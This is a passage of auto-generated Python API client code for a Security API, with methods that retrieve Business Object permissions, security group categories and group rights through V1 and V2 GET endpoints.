busobname, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_by_bus_ob_name_v1_with_http_info(self, groupname, busobname, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_name_v1_with_http_info(groupname, busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str busobname: Specify the Business Object name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[BusinessObjectPermission], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupname', 'busobname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_by_bus_ob_name_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupname' is set if self.api_client.client_side_validation and ('groupname' not in local_var_params or # noqa: E501 local_var_params['groupname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupname` when calling `security_get_security_group_business_object_permissions_by_bus_ob_name_v1`") # noqa: E501 # verify the required parameter 'busobname' is set if self.api_client.client_side_validation and ('busobname' not in local_var_params or # noqa: E501 local_var_params['busobname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `busobname` when calling `security_get_security_group_business_object_permissions_by_bus_ob_name_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'groupname' in local_var_params: path_params['groupname'] = local_var_params['groupname'] # noqa: E501 if 'busobname' in local_var_params: path_params['busobname'] = local_var_params['busobname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygroupbusinessobjectpermissions/groupname/{groupname}/busobname/{busobname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[BusinessObjectPermission]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_by_bus_ob_name_v2(self, groupname, busobname, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_name_v2(groupname, busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str busobname: Specify the Business Object name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: GetSecurityGroupBusinessObjectPermissionsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_by_bus_ob_name_v2_with_http_info(groupname, busobname, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_by_bus_ob_name_v2_with_http_info(self, groupname, busobname, **kwargs): # noqa: E501 """Get Business Object permissions by Security Group # noqa: E501 Operation to get specific Business Object permissions for a Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_by_bus_ob_name_v2_with_http_info(groupname, busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupname: Specify the Security Group name. (required) :param str busobname: Specify the Business Object name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(GetSecurityGroupBusinessObjectPermissionsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupname', 'busobname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_by_bus_ob_name_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupname' is set if self.api_client.client_side_validation and ('groupname' not in local_var_params or # noqa: E501 local_var_params['groupname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupname` when calling `security_get_security_group_business_object_permissions_by_bus_ob_name_v2`") # noqa: E501 # verify the required parameter 'busobname' is set if self.api_client.client_side_validation and ('busobname' not in local_var_params or # noqa: E501 local_var_params['busobname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `busobname` when calling `security_get_security_group_business_object_permissions_by_bus_ob_name_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'groupname' in local_var_params: path_params['groupname'] = local_var_params['groupname'] # noqa: E501 if 'busobname' in local_var_params: path_params['busobname'] = local_var_params['busobname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygroupbusinessobjectpermissions/groupname/{groupname}/busobname/{busobname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='GetSecurityGroupBusinessObjectPermissionsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1(self, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permission for current user # noqa: E501 Operation to get Business Object permissions for the currently logged-in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1(bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str bus_ob_id: Specify the Business Object ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[BusinessObjectPermission] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1_with_http_info(bus_ob_id, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1_with_http_info(self, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permission for current user # noqa: E501 Operation to get Business Object permissions for the currently logged-in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1_with_http_info(bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str bus_ob_id: Specify the Business Object ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[BusinessObjectPermission], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['bus_ob_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'bus_ob_id' is set if self.api_client.client_side_validation and ('bus_ob_id' not in local_var_params or # noqa: E501 local_var_params['bus_ob_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `bus_ob_id` when calling `security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'bus_ob_id' in local_var_params: path_params['busObId'] = local_var_params['bus_ob_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygroupbusinessobjectpermissionsforcurrentuserbybusobid/busobid/{busObId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[BusinessObjectPermission]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2(self, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permission for current user # noqa: E501 Operation to get Business Object permissions for the currently logged-in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2(bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str bus_ob_id: Specify the Business Object ID. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: GetSecurityGroupBusinessObjectPermissionsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2_with_http_info(bus_ob_id, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2_with_http_info(self, bus_ob_id, **kwargs): # noqa: E501 """Get Business Object permission for current user # noqa: E501 Operation to get Business Object permissions for the currently logged-in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2_with_http_info(bus_ob_id, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str bus_ob_id: Specify the Business Object ID. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(GetSecurityGroupBusinessObjectPermissionsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['bus_ob_id'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'bus_ob_id' is set if self.api_client.client_side_validation and ('bus_ob_id' not in local_var_params or # noqa: E501 local_var_params['bus_ob_id'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `bus_ob_id` when calling `security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_id_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'bus_ob_id' in local_var_params: path_params['busObId'] = local_var_params['bus_ob_id'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygroupbusinessobjectpermissionsforcurrentuserbybusobid/busobid/{busObId}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='GetSecurityGroupBusinessObjectPermissionsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1(self, busobname, **kwargs): # noqa: E501 """Get Business Object permissions for current user # noqa: E501 Operation to get Business Object permissions for currently logged in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1(busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str busobname: Specify the Business Object name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[BusinessObjectPermission] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1_with_http_info(busobname, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1_with_http_info(self, busobname, **kwargs): # noqa: E501 """Get Business Object permissions for current user # noqa: E501 Operation to get Business Object permissions for currently logged in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1_with_http_info(busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str busobname: Specify the Business Object name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[BusinessObjectPermission], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['busobname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'busobname' is set if self.api_client.client_side_validation and ('busobname' not in local_var_params or # noqa: E501 local_var_params['busobname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `busobname` when calling `security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'busobname' in local_var_params: path_params['busobname'] = local_var_params['busobname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygroupbusinessobjectpermissionsforcurrentuserbybusobname/busobname/{busobname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[BusinessObjectPermission]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2(self, busobname, **kwargs): # noqa: E501 """Get Business Object permissions for current user # noqa: E501 Operation to get Business Object permissions for currently logged in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2(busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str busobname: Specify the Business Object name. (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: GetSecurityGroupBusinessObjectPermissionsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2_with_http_info(busobname, **kwargs) # noqa: E501 def security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2_with_http_info(self, busobname, **kwargs): # noqa: E501 """Get Business Object permissions for current user # noqa: E501 Operation to get Business Object permissions for currently logged in user's Security Group. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2_with_http_info(busobname, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str busobname: Specify the Business Object name. (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(GetSecurityGroupBusinessObjectPermissionsResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['busobname'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'busobname' is set if self.api_client.client_side_validation and ('busobname' not in local_var_params or # noqa: E501 local_var_params['busobname'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `busobname` when calling `security_get_security_group_business_object_permissions_for_current_user_by_bus_ob_name_v2`") # noqa: E501 collection_formats = {} path_params = {} if 'busobname' in local_var_params: path_params['busobname'] = local_var_params['busobname'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygroupbusinessobjectpermissionsforcurrentuserbybusobname/busobname/{busobname}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='GetSecurityGroupBusinessObjectPermissionsResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_categories_v1(self, **kwargs): # noqa: E501 """Get all Security Group categories # noqa: E501 Operation to get IDs and names for all available Security Group categories. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_categories_v1(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[RightCategory] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_categories_v1_with_http_info(**kwargs) # noqa: E501 def security_get_security_group_categories_v1_with_http_info(self, **kwargs): # noqa: E501 """Get all Security Group categories # noqa: E501 Operation to get IDs and names for all available Security Group categories. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_categories_v1_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[RightCategory], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_categories_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygroupcategories', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[RightCategory]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_categories_v2(self, **kwargs): # noqa: E501 """Get all Security Group categories # noqa: E501 Operation to get IDs and names for all available Security Group categories. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_categories_v2(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityRightCategoriesResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_categories_v2_with_http_info(**kwargs) # noqa: E501 def security_get_security_group_categories_v2_with_http_info(self, **kwargs): # noqa: E501 """Get all Security Group categories # noqa: E501 Operation to get IDs and names for all available Security Group categories. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_categories_v2_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(SecurityRightCategoriesResponse, status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = [] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_categories_v2" % key ) local_var_params[key] = val del local_var_params['kwargs'] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V2/getsecuritygroupcategories', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='SecurityRightCategoriesResponse', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_by_group_id_and_category_id_v1(self, groupid, categoryid, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. To get Security Group IDs, use \"Get all available Security Groups.\" To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_id_and_category_id_v1(groupid, categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID (required) :param str categoryid: Specify the Security Group category ID (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: list[Right] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_by_group_id_and_category_id_v1_with_http_info(groupid, categoryid, **kwargs) # noqa: E501 def security_get_security_group_rights_by_group_id_and_category_id_v1_with_http_info(self, groupid, categoryid, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. To get Security Group IDs, use \"Get all available Security Groups.\" To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_id_and_category_id_v1_with_http_info(groupid, categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID (required) :param str categoryid: Specify the Security Group category ID (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: tuple(list[Right], status_code(int), headers(HTTPHeaderDict)) If the method is called asynchronously, returns the request thread. """ local_var_params = locals() all_params = ['groupid', 'categoryid'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') for key, val in six.iteritems(local_var_params['kwargs']): if key not in all_params: raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method security_get_security_group_rights_by_group_id_and_category_id_v1" % key ) local_var_params[key] = val del local_var_params['kwargs'] # verify the required parameter 'groupid' is set if self.api_client.client_side_validation and ('groupid' not in local_var_params or # noqa: E501 local_var_params['groupid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `groupid` when calling `security_get_security_group_rights_by_group_id_and_category_id_v1`") # noqa: E501 # verify the required parameter 'categoryid' is set if self.api_client.client_side_validation and ('categoryid' not in local_var_params or # noqa: E501 local_var_params['categoryid'] is None): # noqa: E501 raise ApiValueError("Missing the required parameter `categoryid` when calling `security_get_security_group_rights_by_group_id_and_category_id_v1`") # noqa: E501 collection_formats = {} path_params = {} if 'groupid' in local_var_params: path_params['groupid'] = local_var_params['groupid'] # noqa: E501 if 'categoryid' in local_var_params: path_params['categoryid'] = local_var_params['categoryid'] # noqa: E501 query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = [] # noqa: E501 return self.api_client.call_api( '/api/V1/getsecuritygrouprights/groupid/{groupid}/categoryid/{categoryid}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Right]', # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), # noqa: E501 _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) def security_get_security_group_rights_by_group_id_and_category_id_v2(self, groupid, categoryid, **kwargs): # noqa: E501 """Get permissions for a Security Group by category # noqa: E501 Operation to get permissions for a Security Group by category. To get Security Group IDs, use \"Get all available Security Groups.\" To get Security Group category IDs, use \"Get all Security Group categories.\" # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.security_get_security_group_rights_by_group_id_and_category_id_v2(groupid, categoryid, async_req=True) >>> result = thread.get() :param async_req bool: execute request asynchronously :param str groupid: Specify the Security Group ID (required) :param str categoryid: Specify the Security Group category ID (required) :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: SecurityRightsResponse If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True return self.security_get_security_group_rights_by_group_id_and_category_id_v2_with_http_info(groupid, categoryid, **kwargs) # 